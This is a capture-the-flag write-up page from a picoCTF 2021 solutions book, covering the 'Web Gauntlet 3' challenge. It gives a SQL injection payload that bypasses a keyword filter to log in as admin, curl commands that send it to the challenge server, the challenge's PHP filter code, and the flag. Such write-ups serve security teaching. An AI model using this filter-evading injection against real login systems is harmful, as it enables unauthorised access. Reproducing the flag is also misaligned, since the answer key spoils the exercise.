PicoCTF-2021 Writeup
  • README
  • Binary Exploitation
    • Binary Gauntlet 0
    • Binary Gauntlet 1
    • Stonks
    • What's your input?
  • Cryptography
    • Compress and Attack
    • Dachshund Attacks
    • Double DES
    • Easy Peasy
    • It is my Birthday 2
    • It's Not My Fault 1
    • Mini RSA
    • New Caesar
    • New Vignere
    • No Padding, No Problem
    • Pixelated
    • Play Nice
    • Scrambled: RSA
  • Forensics
    • Disk, disk, sleuth!
    • Disk, disk, sleuth! II
    • information
    • MacroHard WeakEdge
    • Matryoshka doll
    • Milkslap
    • Surfing the Waves
    • Trivial Flag Transfer Protocol
    • tunn3l v1s10n
    • Very very very Hidden
    • Weird File
    • Wireshark doo dooo do doo...
    • Wireshark twoo twooo two twoo...
  • Reverse Engineering
    • ARMssembly 0
    • ARMssembly 2
    • ARMssembly 3
    • ARMssembly 4
    • gogo
    • Hurry up! Wait!
    • keygenme-py
    • Let's get dynamic
    • Rolling My Own
    • Shop
    • speeds and feeds
    • Transformation
  • Web Exploitation
    • Ancient History
    • Bithug
    • GET aHEAD
    • It is my Birthday
    • More Cookies
    • Most Cookies
    • Scavenger Hunt
    • Some Assembly Required 1
    • Some Assembly Required 2
    • Some Assembly Required 3
    • Some Assembly Required 4
    • Super Serial
    • Web Gauntlet 2
    • Web Gauntlet 3
    • Who are you?
    • X marks the spot
Powered by GitBook
On this page
  • Problem
  • Solution
  • Flag

Was this helpful?

Edit on GitHub
  1. Web Exploitation

Web Gauntlet 3

PreviousWeb Gauntlet 2NextWho are you?

Last updated 2 years ago

Was this helpful?

Problem

Last time, I promise! Only 25 characters this time. Log in as admin Site: Filter:

Solution

  1. The solution to this challenge is completely identical to my solution to .

  2. The solution query is user=ad'||'min'%00 and it can be sent using cURL like so: curl --data "user=ad'||'min'%00&pass=a" http://mercury.picoctf.net:32946/index.php --cookie "PHPSESSID=n11ugic3f920cjhj6cacohmheg" --output - The flag can be retrieved using this command: curl http://mercury.picoctf.net:32946/filter.php --cookie "PHPSESSID=n11ugic3f920cjhj6cacohmheg" | grep picoCTF. See for more information.

  3. The code for the filter and the flag are shown in /filter.php when the login is bypassed:

    <?php
    session_start();
    
    if (!isset($_SESSION["winner3"])) {
        $_SESSION["winner3"] = 0;
    }
    $win = $_SESSION["winner3"];
    $view = ($_SERVER["PHP_SELF"] == "/filter.php");
    
    if ($win === 0) {
        $filter = array("or", "and", "true", "false", "union", "like", "=", ">", "<", ";", "--", "/*", "*/", "admin");
        if ($view) {
            echo "Filters: ".implode(" ", $filter)."<br/>";
        }
    } else if ($win === 1) {
        if ($view) {
            highlight_file("filter.php");
        }
        $_SESSION["winner3"] = 0;        // <- Don't refresh!
    } else {
        $_SESSION["winner3"] = 0;
    }
    
    // picoCTF{k3ep_1t_sh0rt_ef4a5b40aa736f5016b4554fecb568d0}
    ?>

Flag

picoCTF{k3ep_1t_sh0rt_ef4a5b40aa736f5016b4554fecb568d0}

http://mercury.picoctf.net:32946/
http://mercury.picoctf.net:32946/filter.php
Web Gauntlet 2
Web Gauntlet 2